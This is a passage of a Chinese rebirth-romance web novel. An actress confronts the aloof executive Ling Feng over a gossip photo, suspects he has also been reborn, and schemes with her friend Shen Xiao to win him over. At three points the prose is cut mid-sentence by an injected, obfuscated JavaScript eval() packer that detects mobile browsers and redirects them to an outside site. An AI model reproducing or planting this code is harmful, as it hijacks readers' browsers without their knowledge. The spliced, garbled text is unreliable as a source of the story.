“嗖”的一声,李盛已窜出老远,消失在视野尽头。 酷誉卧虎藏龙。刚才那位绝对练过,否则怎么能闪得那么快? 常好好朝着李盛消失的方向暗暗摇头,感叹完不忘再次敲响会议室的门。怕里面的人听不到,刻意提高音量:“凌枫,我可以进来吗?” 会议室里坐满了人,长桌两旁黑压压一片。 当听见敲门声,站在台上的主讲人怔了怔,差点忘记下一句。 当听见门外女人喊出“凌枫”两个字,空气有些凝滞,会议室内所有人大气不敢出。 谁都知道凌枫最不喜欢开会时被人打扰。 无独有偶,桌子上唯一放置的手机屏幕亮起。 凌枫瞥了一眼来电显示,看见“安燃”两个字,不带一丝犹豫,指尖轻轻一划,震动声戛然而止。 仿佛商量好了一般,这边声音刚停止,那边又开始:“凌枫,我是常好好!我有话想和你说。” 话音刚落,嗡嗡震动的声音再次响起。 瞥见手机屏幕上方闪出的“成世泽”,凌枫盯着手机几秒,最终只是按了静音键。 “咚咚咚!” “凌枫,你在里面吗?” “有没有人啊?” 门外声音持续传来,助理王宽发现其他人冲他投来的求救目光,做了好大段心理斗争,只好硬着头皮,不情不愿地站出来发言:“老大,要不我去……” “让她进来。”凌枫的语气依旧平平淡淡,不带一丝波澜。 “好。”王宽点头,发现不对劲,发出超级大一声“啊?” 然后在接收到来自顶级上司的皱眉后,立即起身,露出狗腿的笑,“我这就去开门。” 等了好久,眼前的门终于被人打开。 常好好刚一脚踏进去,身体瞬间定住。满屋子齐刷刷的目光,全聚焦在她身上。 她心里“咯噔”一声,警铃大作:不是吧?这么多人? 进?感觉像是硬闯,有点奇葩。退?已经站在这里,再缩回去岂不是更像一朵奇葩。 嗯,进退都是奇葩。 要不是因为看见她与凌枫的照片冲到热搜第一位,她不会如此冲动行事。回想营销号里铺开的照片。手里捧着的“咖嗒”的脸比她的脸清晰得多。任脚趾头想,都知道受益方是谁。 她目光一一扫过会议室,忽地瞳孔放大,死死锁住展柜里的巨大咖嗒。 咖嗒系列第一代积木提前两年发售就算了,第四代巨大积木就这么摆出来了? 怎么可能? 这下她顾不了那么多。大步流星走过去,随手拽住旁边一把空椅子移到凌枫身边,一屁股挨着他坐下。 会议室里弥漫着一种诡异的安静。 此情此景,常好好像是一个吸铁石,所有人的视线被她牢牢吸住。 有人吓得瞪大双眼;有人嘴巴微张,忘了合上;有人担心脱口而出,下意识地捂住了嘴;有人瘪起嘴要哭了。 快要哭出来的人正是王宽。 明眼人看得出来今日会议上凌枫的心情不是太美丽。这种时候突然杀出一个莫名其妙的女人,还被凌枫安排进来。 王宽已经把凌枫和常好好的关系在脑海里捋了个遍,整合出了无数种可能性,然后抖着嘴唇,低声开口:“老大……” 凌枫压根不给他说下去的机会,朝着主讲人点头:“继续。” 王宽:“?” 老大是何许人物。如果说第一次让他开门是意外,那么第二次一定有合理的解释。 在场的都是聪明人,心知肚明公司最近的投资变化以及小道消息,瞬间脑补了一波,看向常好好的眼神渐渐从不理解变为友善。 小插曲过去,会议室又恢复常态。 常好好表面听讲好学生,实际心里慌得一批。 关于咖嗒,这一世与上一世的变化巨大,绝对不是简单几句话就能轻易改变走向。 重生回来,安燃刚刚退役正在着手开办羽毛球培训课程相关。沈骁刚大学毕业。李嘉晨不过是个五岁的孩童。 这里面无论是谁都接触不到酷誉的核心设计。 莫非重生的不止他们四个人?而这个人藏在酷誉公司内部。 想到这里,常好好头皮一阵发麻。就怕对方与他们敌对,甚至…… “啪啪啪”地掌声汇成一片,打断了她的胡思乱想。短短两分钟,会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242726|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 议室空了,空气里只剩下两个人的沉默。 以免浪费时间,她率先出击:“凌枫,你是不是应该跟我解释一下。” 男人挑了挑眉,眼神里全是问号:“你确定是我解释?” 不然呢。 常好好被他气笑了,“用不着跟我装傻。新品即将发售,正好缺一波热度,我懂的。” “成忆时。” “能不能叫我常好好。” “常好好。” “干嘛?” “你是不是忘记重启了?” 常好好低头看了眼手机:“没有啊。” 凌枫指尖轻点着桌面,收回望着常好好的目光,嘴像沾了毒的针,向对面发起攻击。 “我说你的大脑。”他道。 “……” 常好好咬着下嘴唇,双手拧麻花似的缠在一起,费力地将藏在心底里的质问压下,不着边际地起身,面上纹丝不动。 装傻充愣是吧? 没关系,她现在无所畏惧。 上一世因为沉不住气吃了不少亏。别人怼一句,她能回十句,反正受不了一点委屈,听不进去一句反驳的话。这一世她算是看明白了。歇斯底里伤身体,明明有更好的处理方式不是?况且对方是凌枫,是她想要攻略的对象。 她嘴角轻轻一抿。 小样,咱们来日方长。 “啪”地一下,会议室的门被她关上。与此同时,走廊里喧闹的议论声被暂时切断。 八卦是人类的天性。 重生前作为顶流明星,常好好从来不介意大众对她的讨论,仿佛什么都没听见。 看到目标人物,她眼神一亮,脚下快走几步穿过人群,站在了女人身侧,露出笑脸开口搭话:“我很喜欢咖嗒的设计,很特别,很有眼缘。” 女人名叫张雪,正是刚才会议的主讲人,也是咖嗒这个系列的主设计师。 听见她的赞美,张雪眼底瞬间亮起了光,然后被她迅速收敛,面上故作平淡,真诚地道:“谢谢喜欢。” 常好好微微侧身,笑容得体,闲聊几句无关紧要的话题。气氛看似轻松,手却在下面悄悄攥紧了。 “咖嗒为什么提前这么久发售?”这问题像根刺扎在心里。 她垂下眸子低头看鞋,实则大脑飞速运转,想找话题切入点。过了会儿,她深吸一口气,仿佛下定了决心,决定赌一把。 “我记得酷誉最开始敲定的新品不是咖嗒?”目光紧锁张雪,捕捉她每一丝细微的表情变化,发现她愣了一下,马上换个说法,“哎呀,你看我,可能记错了。” 张雪嘴巴张大,那句“你竟然知道……”被她强行憋了回去,缓慢地眨了下眼睛,好似认定了什么,整个人放松下来,笑着说:“原定计划确实不是咖嗒。” 常好好感受到手臂处的汗毛立起。她咽了咽口水,故作镇定,慢条斯理地问:“那,为什么变了?” “大家开了好多次会议,最终听了……阿嚏!” 张雪捂住嘴巴,打了一个超级巨无霸喷嚏。 我说姐们,咱关键时刻能不能别掉链子啊。 重要名字没听到,常好好身体不自觉地前倾,眼神死死锁住对方嘴唇,她紧张得手都颤抖,再次追问:“听谁的?” 你倒是快说啊! 5. 重锤 张雪吸了吸鼻子,不好意思地笑了笑,露出几分憨态。她道:“我们肯定听老大的。” 老大? 谁是老大来着? 常好好困惑地侧了侧脸,努力解读这段文字。 下一秒,仿佛一道闪电劈开迷雾。她瞪大双眼,嘴唇颤了颤却没发出声音,难以置信地怔在原地。 商场坍塌前,她和安燃被人放了鸽子,那个人正是凌枫。大胆设想一下。其实凌枫并没有食言,早已在他们之前到达商场且藏在暗处观察一切。那么现在发生的一切不合理,反而都合理了起来。 “太可怕了!”她喃喃自语。 张雪没有听清楚,好奇地歪着头问道:“什么?” 常好好挤出一个要多难看有多难看的笑,随便找个理由糊弄过去,迅速转身,几乎是踉跄着逃离了大家的视线,直奔安全出口方向。 她自己都不知道过了多久,直到后背重重地贴到坚硬的墙壁,那种实实在在的触感才让她稍微定下神。 一片死寂中,突然传来一阵急促的铃声。手机屏幕亮起,机身随着震动微微颤动,犹如她的身体般。 靠! 这种时候谁这么应景? 她闭上双眼大喘气,而后睁眼盯着嗡嗡直响的手机。来电显示清晰可见。“经纪人”三个字好似刺得她眼睛发疼。 不想接,完全不想。 上一世接连被许多人、许多事蒙蔽了双眼。谁能想到疑似嫌疑人的事不是被所谓对家恶意传播,而是被公司和“好闺蜜”赵奕一以及另一个圈内“闺蜜”冯媛联手曝出来。 一股无名火堵在胸口,她几乎能想象出电话那头的声音会如何搬弄是非。 打听她与凌枫的真实关系?趁着绯闻热度给她接脑残剧本?还是别的什么阴谋?一个个疑问勾起了她的好奇心。 时间一分一秒过去,常好好情绪渐渐稳定下来,大脑清醒了不少。 怕什么? 这一世她不仅要擦亮双眼,更要把方向盘紧紧掌握在自己手中。 想通这点,她露出自信的微笑,指尖轻轻一划,电话那边的人果然如她所料,开始疯狂输出。 “你怎么才接电话?” “照片怎么回事?你和凌枫认识?多熟的关系?” “这么好的机会不能放过,能蹭就蹭。我都帮你想好了,你照做就行。” 早想到对方会说什么,她边玩手指边心平气和的应对:“菲姐,这事没必要理会。我知道你最近忙,不用管我这边,我能处理好。” 现在她算看明白了。烂人烂事及时疏远,跟他们纠缠反而会被带进坑里。 原本想速战速决,怎料对面非要扯一些有的没的,“好好呀,姐姐明白你心里不平衡,汀汀现在热度高,公司和我肯定先以她为主。” 常好好被林菲的话逗笑了。 不平衡?开什么玩笑?这句话送给秦汀更合适些。 上一世秦汀处处都要跟她比较。她没热度的时候,秦汀在她面前吹牛嘚瑟;她有热度的时候,秦汀在她面前阴阳怪气;等她飞升成为顶流,秦汀直接当着公司众人的面跟她发疯。 到底是谁心里不平衡,天天挑刺啊? 常好好闭起眼睛,心里默念:“感谢!感谢!还好回来的节点卡在续约前几个月,而不是三年、五年。”如此想着,心情恢复愉悦。管对面说话多么不中听,都带动不了她一丝情绪,美美欣赏自己的美甲。直到对方说完一大段没屁用的大道理,才慢悠悠地清了清嗓子。 “菲姐,热搜上的事不用在意。您在圈里混这么多年还不了解吗?不到万不得已,没必要自证,省得给自己泼得一身脏水。” “不相信你的人,看见距离十米开外的两个人,会觉得他们不清白。相信你的人,看见两个人嘴对嘴,也只会认为他们不过是嘴痒,互相挠痒痒罢了。” 话糙理不糙。这句话说完,直接把对面的林菲干没词了。 常好好别提多爽歪歪,窃喜从眼底一闪而过,准备再一次对林菲展开温柔的语言攻击,却被侧边的脚步声干扰,猛地转过头去。 就在前方,从楼梯转角那片阴影里,一张熟悉的脸庞渐渐变得清晰。 于是,她嘴角那抹快活的笑意一下子被冻住,凝固成一个要笑不笑的僵硬表情。 凌枫走路不带声音的吗?他到底听见了多少? “喂?好好?”电话那边的林菲终于缓过神,想要对她进行PUA。 常好好怎么可能给她机会,把手臂大幅度地举向空中,“喂?菲姐听得到吗?我这边……信号不太……”演得不够尽兴,她刻意间断着说话,每一个词都像是从牙缝里艰难地挤出来,“听……不清……断断……续续……”然后带着一种万分焦急的感觉,“哎呀菲姐!听不见……我先挂了,回头再……”她不等“说”字出来,大拇指以一种非常凶狠的力道,精准而迅速地按下那个红色的圆形图案。 “噔”一声,楼梯间安静了。 常好好无声地吐出一口憋了许久的气。眼睛一瞟,察觉到凌枫嘴角微微抽动。 莫非她刚才的演技太浮夸了? “凌枫?”她脸上挂着一张精心裁剪的面具,故作惊讶,“你怎么在这儿?” 不好好在办公室呆着,不好好坐直梯,瞎跑到楼梯间里干什么? 凌枫一步步走下来,难得对她展露出一抹轻笑。 常好好:“……” 怎么感觉凌枫看她的眼神,跟看马戏团猴子一样。 凌枫身子半靠在楼梯扶手上,接下来依旧未开口说话。他脸上没有任何可供解读的情绪。没有好奇,没有疑惑,甚至没有批判,有的是一种纯粹,几乎令人窒息的专注。 常好好被盯得浑身不自在,感觉整个人都被凌枫看透了。 “你是不是也重生”几个字已经冲到嗓子眼,最终理智战胜冲动,说服自己咽了回去。于是,嘴上开始东一句西一句,毫无逻辑可言。结束还要来个爆炸发言:“你打算什么时候跟我结婚?” 这句话是她故意说出来的。 自从大学毕业,每一年凌家和成家都会对她和凌枫的婚约进行一次探讨会。但因为她的反抗,每次都没有谈妥。 闹了半天,这货啥都没说、啥都没做,有她这个死对头出面,便可以坐享其成。 很多事不能细想,因为会心里不平衡。 常好好轻轻抬眼打量起凌枫,想在他这张好看又略显疏离的脸上找出她要的答案,却注定失败收场。 凌枫让她难以捉摸。这种极度不爽的感觉从她心底直窜到头发梢,恨不得迈开腿给对方狠狠来上两脚。 下一秒,对方倒是一直没变,延续上一世的风格,重新把难题抛给了她:“何时结婚看你,我随时都可以。” 常好好低下头,唇角轻轻勾了勾,带着一种果然如此的意味。 一切如她所料,凌枫还是那样不要脸,想借她之手完成自己的目的。 不好意思,这次不能如你所愿了。 “好啊!”她故意往前凑近半步,仰起脸看凌枫,“我看就今年结吧。”她的声音拖得有点长,带着点撒娇的味道。左手若无其事地玩着垂落在胸前的头发,右手悄悄伸过去,触碰到凌枫的手背。仅一小下,很快收回手。 她边做这些小动作,边偷偷打量男人。看他耳朵是不是红了,呼吸有没有变快,手指有没有因此颤动。 结果令她失望。 “你怎么不回答?” 演戏,她是专业的。她不信凌枫能一直保持冷静,从而歪着头拉长语调,“凌枫,你倒是说句话呀。”说着又抬起手,挽起他的手臂。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242727|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次,男人终于张开了嘴。 “常好好,你是不是没从上个角色里走出来。”凌枫的语气带着一丝嘲讽,捏住常好好的手腕,不客气地把她的手从自己身上移开,顺带掸了掸刚刚被她触碰到的位置。 哼!原形毕露了吧。不是什么时候结婚都行吗?装个什么劲啊。 看到凌枫蹙眉不耐,常好好心里暗爽。爽着爽着发现走势不对,硬着头皮将凌枫脑补成她爱的人,长舒一口气,打算进行下一场“戏”。 “不过,你说得对。今年结婚确实是个好主意。”凌枫用平稳得不能再平稳的语气,抛出一枚重磅炸弹,顺带把常好好准备好的台词全憋了回去。 常好好的脸“唰”地一下变得通红。放在古侠武装剧里那就是憋出了内伤,容易气吐血,吐得满地都是的凄惨状。她的手使不上力,颤颤悠悠地抬起压住胸口,嘴巴张大,大口大口喘着粗气。 凌枫这时候也不打扰她,自顾自地从口袋里拿出手机,手指尖“嗒嗒嗒”地点击着手机屏幕,处理着今日没来得及回复的消息。 本来正在努力让自己平复情绪,快速进入到戏里的常好好,被凌枫处事不惊的气势刺激到了。哪里还顾得上演戏,手抖得没完没了,气得真要吐出一口老血。 等气喘匀了,她才慢半拍地,迟疑地反问:“凌枫,你……你到底什么意思?” 凌枫把最后一个字打完,点击发送键,然后勾了勾唇角,抬起眼,依然挂着笑容看着常好好,道:“字面意思,我们今年结婚。” “?” 疯了! 绝对疯了! 常好好感觉身上的毛被男人的话吓得全炸起来,嘴角僵硬地向下撇着,似乎想努力拼凑出一个“你一定在逗我”的表情。 不对! 凌枫不可能真疯。 她努力平复下来,心里更加不平静。倘若凌枫真的同他们一样重生回来,那么以他心思深沉的个性,现在肚子里绝对憋着坏水。 难道他也怀疑杀了成世泽的人是她,所以想以婚姻方式接近她,调查她? 常好好被凌枫毫无征兆的“重锤”砸得措手不及,脑袋里胡思乱想了好几个来回,手心直出汗。 瞥见她嘴都合不上,整个人惊慌失措的模样。凌枫眼底闪过一丝得逞的轻笑,已然转过身去迈出了半步。脚步突然一滞,侧过半张脸,声音比刚才正对面时低沉了几分,“对了……”他吐出两个字,尾音拖得略长,“这周有聚餐。”话落,再次转身消失在眼前。 真特么疯了! 常好好彻底傻眼,怔在原地。 “好好,你果然在这里。”大概半分钟过去,一个响亮的大嗓门,猛地在她身后炸开。来人嬉皮笑脸地说,“我朋友说她看见你往这边走。” 沈骁的声音太有穿透力,她那被凌枫惊飞的三魂七魄似乎勉强被拽回了一丢丢。常好好微微吐出一口气,皱眉问:“什么你朋友?” 沈骁双手叉腰,一副恨铁不成钢的语气:“一看你就没有仔细阅读我写的《重生计划手册》,里面介绍的非常详细。” 哈? 几百页纸,时间才过去大半天。 当她是什么,机器啊,看得完吗她? 常好好面无表情地仰起头,仿佛在无声地呐喊:“天啊,救救我吧。” 沈骁无视她的动作,微微一笑,手指灵巧地拨开搭扣,精准地探入包内,几乎没有多余的摸索动作,手指触到目标物后便迅速抽出。 “没关系,我随身携带着。”她说完,小手不停地扒拉着手册。这时手机通知音响起,她轻轻划开手机,定定地盯着屏幕,紧接着音量陡然拔高,“我去!凌枫他回复网友的问题了。” 常好好联想到刚刚凌枫对她说的话,心里矛盾得很,既期待又害怕。 “回了什么?”她问。 6. 计划 沈骁将手机屏幕竖到常好好面前:“喏,你看他回复网友那几条。” 【谢谢大家关注。】 【下周二新品发布会见。】 【年底周年庆会有惊喜,感谢大家对酷誉的信任和喜欢。】 凌枫那个奸诈小人!回复好多条网友问答,唯独跳过有关绯闻的问题。 故意的是吧。 常好好叉着腰,默了默,察觉到自己反应不对。按照她的计划进行,凌枫不在大众面前挑明关系,正合她意啊。她清了清嗓子,讲了一大堆废话,摆明了说给沈骁听的。随即微微垂下头,一点一点地抚摸眉毛,借着这个功夫让自己尽快入戏,等情绪酝酿得差不多了,紧紧握住沈骁的手腕,眼光中饱含浓浓的情谊:“沈骁,我们是一个友爱的团队吧。” 沈骁的确是抽象派。即便如此还是被她吓得不轻,手臂下意识往后缩了缩。 当然,抽象不是随便说说。沈骁很快适应,眼神变得坚定,反将她的手握住,吐出两个字,不知道的以为演偶像剧呢。 “爱过。” “?” “现在也在爱你。” “……” 啥乱七八糟的。 没事,有爱就行。常好好趁热打铁:“所以,你会永远站在我这边对吗?” “必须的呀,你是我喜欢多年的偶像,不向着你我向着谁。” 楼塌前一刻,沈骁不顾危险跟她和安燃一起帮助摔倒的小孩子。光凭这点就能看出,她不是一个心眼坏的人。况且她又是她的粉丝。 常好好心下踏实许多,“沈骁,我有一个计划。” “什么计划?” “原先我的计划是让凌枫讨厌我,这样婚约不用我出手,他会想尽办法拒绝。” “现在呢,你变了?” “我怀疑他也重生了。” “啥?真假?” “具体再调查。反正从现在开始我的计划是让他爱上我,然后狠狠地拿捏他,让他为我所用,虐他千百遍。” “……” 常好好第一次在沈骁脸上捕捉到为难,而且是那种无法言说,极其微妙的为难。 “你这是哪门子表情?”她语气中带有一丝赌气的味道,“不相信他会爱上我?” 沈骁立即摇头。 她皱眉追问:“我没有魅力吗?” 沈骁:“咋可能?你是一个超有魅力的人。” “所以啊从现在开始,我暗地里寻找凌枫的喜好和弱点,耍点心机攻略他。”她不以为意地摊了摊手,笑眯眯道,“很难吗?” 沈骁跟着附和:“嗯,确实不太难。” “不是我吹牛。”她越说越起劲,越说越自信,仿佛这一刻凌枫已经被她狠狠拿捏住,随即扬起下巴,甩了甩头发,“我觉得一年内吧,基本能把他搞定。你觉得呢?” 沈骁:“一年啊。” 常好好:“那就半年内。” “呃……好好啊。我觉得吧,”沈骁挠了挠并不痒痒的脸颊,说起话来吞吞吐吐,“要不,我们先找到杀成世泽的凶手,再全力搞定凌枫。”掰着手指头,仔仔细细算了算,“八年!八年应该没问题。” “……” 八年叫不难? “沈骁,你在质疑我的实力。”常好好道。 “我不是质疑你。”沈骁把“罪魁祸首”拉出来,“主要是凌枫。七年后他仍是孤家寡人一个,看着不像个正常男人。” 瞧着常好好表情一变,沈骁赶紧往回收,“哎呀,我不是说他有毛病……” “你说的太对了!”常好好一本正经地点了点头,“他就不是个人。” 沈骁愣了几秒,很快与偶像“心连心”,干脆与常好好十指相扣,语气中夹杂着心疼,“好好,难为你了,以后要和不是人的凌枫结婚。” 嗯。 这话听着这么别扭呢? “诶呦,瞧我这记性,差点把正事忘了。”沈骁不松开紧握常好好的手,另一只手推开安全门,“好好呀,托你的福,我们的办公室超级豪华,关系户就是不一样。”她眼睛里闪烁着一种“快来看我发现了什么绝世大宝贝”的贼光,声音里是按捺不住的激动,“快跟我来!绝对震撼你!” 常好好被她拽得向前趔趄了两步,根本来不及反应,就又被她拖到一扇厚重的实木双开门前。 沈骁神秘兮兮地掏出张门卡。“滴”的一声,门被她顺势打开。 看着眼前的空间,常好好率先想到一个字:大。 如果换成两个字就是:好大。 沈骁相当不客气,大大咧咧地坐下,朝常好好热情地拍了拍身旁的椅子软垫,伴随着爽朗的笑声:“赶紧坐下歇会儿。你放心,我刚才查看过,屋里没有监控。” 常好好没沈骁那么没心没肺,突然来到一个陌生环境,心里总归有些不踏实。这瞅瞅,那瞧瞧。 整个空间像一套巨大、昂贵、却毫无人气的样板间。 “你二哥对你不错啊,这间办公室好大,东西也齐全。”沈骁调动椅背和脚踏,闭上双眼一脸享受,“瞧瞧这舒服的老板椅,真爽。” 两天时间,常好好习惯了沈骁的随心所欲,摇头笑了笑,学着她的样子躺在椅子上。 两个人并排坐,动作如出一辙。 沈骁真没骗她,确实舒爽,比她书房里的椅子舒服多了,真想问问成世泽什么牌子。 “你朋友在酷誉上班?”她放松过后问道,“用不用我帮忙。” 许是没有料到常好好会主动提起,从不让话落地上的沈骁竟然沉默了。 “你忘了?我们是一个友爱的团队。互相帮助再正常不过。”常好好朝沈骁释放温暖的微笑。 演戏,她是专业的。 被她这么一操作,沈骁反倒不好意思起来,一时间不知从哪里讲起。 与此同时,茶水间内聚集四、五个人。会议室的一幕幕给当时在场的吃瓜人群留下了深刻的印象。尤其是王宽。 过了两个小时,他依然对凌枫的态度百思不得其解,“你们说,我们老大是不是要开花了?” “你这什么比喻?” “老大好像对那个常好好不一般,你们觉得呢?总不能是我的错觉吧。” “确实不对劲。常好好到底什么来头?与老大被拍到却没被老大否认。又能让老大对她破例,同意她听我们的内部会议。天啊,这太诡异了。” “一看你就没怎么谈过恋爱。这叫真爱,懂?” “怎么可能?老大可是有未婚妻的人。” 提到“未婚妻”三个字,八卦小分队立刻安静。几个人眼神交流了一小会儿,头重新聚在一起,声音比刚才还要小一倍。 “你们说老大和成总妹妹商业联姻的消息会不会是假的?” “这事绝对是真的。上次在办公室,我亲耳听到老大妈妈跟老大提起过,不过老大脸色不太好看。” “老大妥妥的美强惨,自己的婚姻,未来的媳妇都不能自己做主,真没意思。” “对了,成总妹妹叫啥来着?” 画面一转,常好好双手交叉放在脑后,惬意地摇了摇脚,“成忆时。” “啥乘以十?”沈骁语调升高,摸不清头脑,“我刚刚问的是你本来的名字。” 上一世成世泽出事后不久,各大平台全在讨论常好好和成家的真正关系。真真假假,假假真真。想到这事沈骁好奇心发作,对常好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242728|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的本名充满了期待。 “成忆时。”常好好又念了一遍,没啥太多感情。 “?”沈骁懵逼的表情。 “我说我身份证上的名字——成忆时。” “回忆的忆,时间的时。” “妈呀,名字太牛了。谁啊,谁给你起的名?乘以十啊,难怪你资产都是我的1000乘以十倍。”沈骁慢节奏拍了两下手,脖子抻老长,一双眼里满是求知欲,“小道消息说你有一百亿,真的假的?” 常好好身高一米七,体重九十斤。整个人窝在老板椅内,伸出右手食指,在沈骁眼前轻轻摇晃,“一百亿夸张了。” “我就说嘛,太离谱了。” “几十个亿是有的。” “……” “其实不算好事儿。” “够了!”沈骁用力拍向扶手,疼得呲牙咧嘴,忍着剧痛蹭地坐起来,义正言辞地道,“你的凡尔赛严重刺激到我。” 常好好嘴角抽了抽。 沈骁切换自如,忽然一副颓废状,“真羡慕你,哪怕跟你换一天也行啊,当一天富豪千金。” “换吗?” “啥?” “跟全部的我交换。”常好好不再躺平,坐直上半身,表情比刚才严肃三分,如此输出,给人一种仅凭这句话便能换成功的真实感。 沈骁被常好好的架势惊得怔了怔,开始认真起来,陷入了思考中。过了会儿,犹豫着说:“我可不可以只换好的部分。”发现话有些不对劲,赶快解释道,“你瞧我这嘴。你知道的,我不是那个意思,我的意思是……” “你看吧!”常好好脸上没了严肃,更没有半点生气的意思。她不自觉地前倾上半身,手臂托着下巴,紧紧盯着沈骁的眼睛,“你不愿意跟全部的我交换。说明在你的心里,我的世界里有你特别不喜欢,特别不愿意接受的东西。而你的世界里有你无论如何,怎样都不愿意舍弃的东西。”她微微停顿了下,继续道,“其实你羡慕别人的时候,别人也在羡慕你。沈骁,我很羡慕你。” “我?”沈骁愣住了,手指着自己的脸,表情又懵又呆,“别逗了!我有啥可让你羡慕的?” 常好好话到嘴边却停住,眼神飘向窗外,脸上挤出一个轻松的笑:“太多了。所以,我们还是开心做自己吧。” “嗯,我貌似懂了。只不过,”沈骁眉心皱了皱,微微垂下头,面容不似以往那般轻松,猛地攥住常好好的手腕,“好好,我感觉我脑子很乱。” “怎么了?”常好好吃痛,轻轻把手臂抽了回来。 “好像有一件事非常重要,但我却想不起来了。” 不断揉搓被拽红的手腕,常好好特别想翻白眼,忍了忍,刚要张口说话,耳旁响起欢快的铃声。 声音从沈骁的手机里传出来。 沈骁扫了一眼来电显示,双眼放大,一下子从椅子上蹦下来。 “妈呀?差点忘记魏筝在楼下等我回宿舍呢。我说我心里总不踏实呢。” “我先走了,随时联系。” “回家别忘了看我给你的手册哈。” “……” 望着一股脑冲出门外,风风火火的背影,常好好再次无语望天花板。短短两天,她算看出来了,沈骁妥妥一个搞笑女,还是个急性子。 “哎!” 偌大的办公室瞬间只剩下她一个人,连唉声叹气都能听见回声。 耳边不断回荡着某个男人如同恶魔低语般的话,使她坐立不安,做什么都无法集中精神。 终于,她吸了口气,像是下定了决心,站起身推开办公室的门,脚步又快又决绝,直奔凌枫办公室走去。 谁知未到达目的地,便见到了目标人物。 7. 戏精 她冲着对方露出笑脸:“这么巧,又遇见了。” 男人手里拿着文件,瞥了一眼她,无视她谄媚的微笑,转身返回到办公室。 “砰”的一声响,办公室的门被男人无情关上,常好好心里的无名火噌的一下彻底升上来。 回忆上一世,两个人的多次见面。凌枫不是面无表情,就是无视。这次如出一辙,她却不像从前那般无所谓,反而心急如焚起来。 目的不同,心态的确会发生巨大的变化。 她厚着脸皮进入总裁办公室,凌枫动作如初,头都不抬。她故意挪动旁边的椅子,让椅腿与地面摩擦出刺耳的“吱呀”声,率先打破了沉默。 凌枫抬头仅两秒钟,手的动作没停,低下头,继续自顾自的翻看文件。 她暗自提醒自己控制住情绪,几步走到他的办公桌前,倾身向前,双手撑在桌面上,结果装大发了,疼得手直抖,依旧咬牙硬撑。 对面,凌枫翻到下一页,好似很满意方案,轻点了下头。 她气得心率飙升,故意把工作牌从脖子上拿下来,推乱了桌上摆放整齐的文件夹。无厘头地做完这一切,抬起眼,看向他的眼神挑衅味十足。 她就不信了,这他都能忍? 常好好表面抿着唇审视,心里得意的笑,预备迎接男人习惯性地蹙眉,以及能让人瞬间冻僵的疏离目光。 然而什么都没有。 凌枫连向后以拉开两人距离的行为都没有。他就那样坐着,上半身依旧挺直,只是微微抬起了下颌。那双总是能轻易看穿人心的眼睛里,此刻非但没有丝毫不悦,反而有一种极其古怪的…… 饶有兴味? 紧接着犹如大炮弹般威力的毒舌虽迟但到。 “听说最近你努力让自己入戏?”凌枫不咸不淡地提了一嘴,并在她刚张口说出一个字的时候,无情地打断,“不好意思,我想你找错对象了。” “……” 勾起的笑容僵在嘴边,常好好不动声色地捋了捋头发,顺势把头低下来,用刘海挡住她沉思的神态。 作为进入演艺圈十二年的演员,曾经遇到对手戏演员突发改台词,台词离谱到放在现实中想报警的程度。即便是那样,她在现场依旧能坦然面对,努力完成那一条。 凌枫这点刁难算什么? “你错了。”常好好从后方随手拉一把椅子坐在上面,胳膊肘撑在办公桌面,双手贴在脸颊两边,目光投向男人的脸与之对视。她眼含笑意,温柔得能溢出来,“凌枫,其实我喜欢的人一直是你。” 惊不惊喜,意不意外? 话音刚落,凌枫握住文件的手顿在了半空,终于舍得放下手里的东西,目光倏地锁在她脸上。 “这就是你想了半天,扯出来的谎话?”他忽然开口,声音里带着一丝强硬,“你很闲吗?” “你怎么知道我现在闲得很。” 凌枫眯了眯眼,没吱声,视线依然放在她身上,似乎想要把她彻底看穿。 “我不单单闲得慌。”常好好始终保持着刚才的姿势,眼睛紧盯凌枫,“就在昨天,我彻底想通了。” 凌枫凝神注视着她:“你想说什么?” “这一次,我想为自己而活。”常好好看似说给凌枫听,实则说给自己听。 上一世,她当演员纯纯为了给养父成知聿添堵——你越不让我做啥,我越做啥。 再到后来,她宁可打破头成为顶流,也是一样的道理。 说白了,讨厌成家人的同时,仍然希望能够得到他们的认可。告诉他们,她厉害着呢,别瞧不起她。 实际呢,有意义吗? 做着自己不喜欢的事情,就算做到了顶尖又如何。等到达顶流那个位置,她发现,其实也就那样。 “我喜欢你这件事,除了我自己谁都不知道。”常好好换了个动作,双手一起揉搓太阳穴的位置,好挡住她不久前落寞的神情,顺便给她一个空隙缓和情绪,接着把戏演下去,“当然,现在你知道了。”话落的同时收回手,背部朝后一靠,嘴角轻轻一勾,“我告诉了你一个秘密,你是不是应该回我一个。” “我不喜欢你。”凌枫毫不犹豫地回道。 “……” “凌枫,你不诚实。”常好好展露出她认为最具魅力的笑容,质疑地问,“你管这叫秘密?” 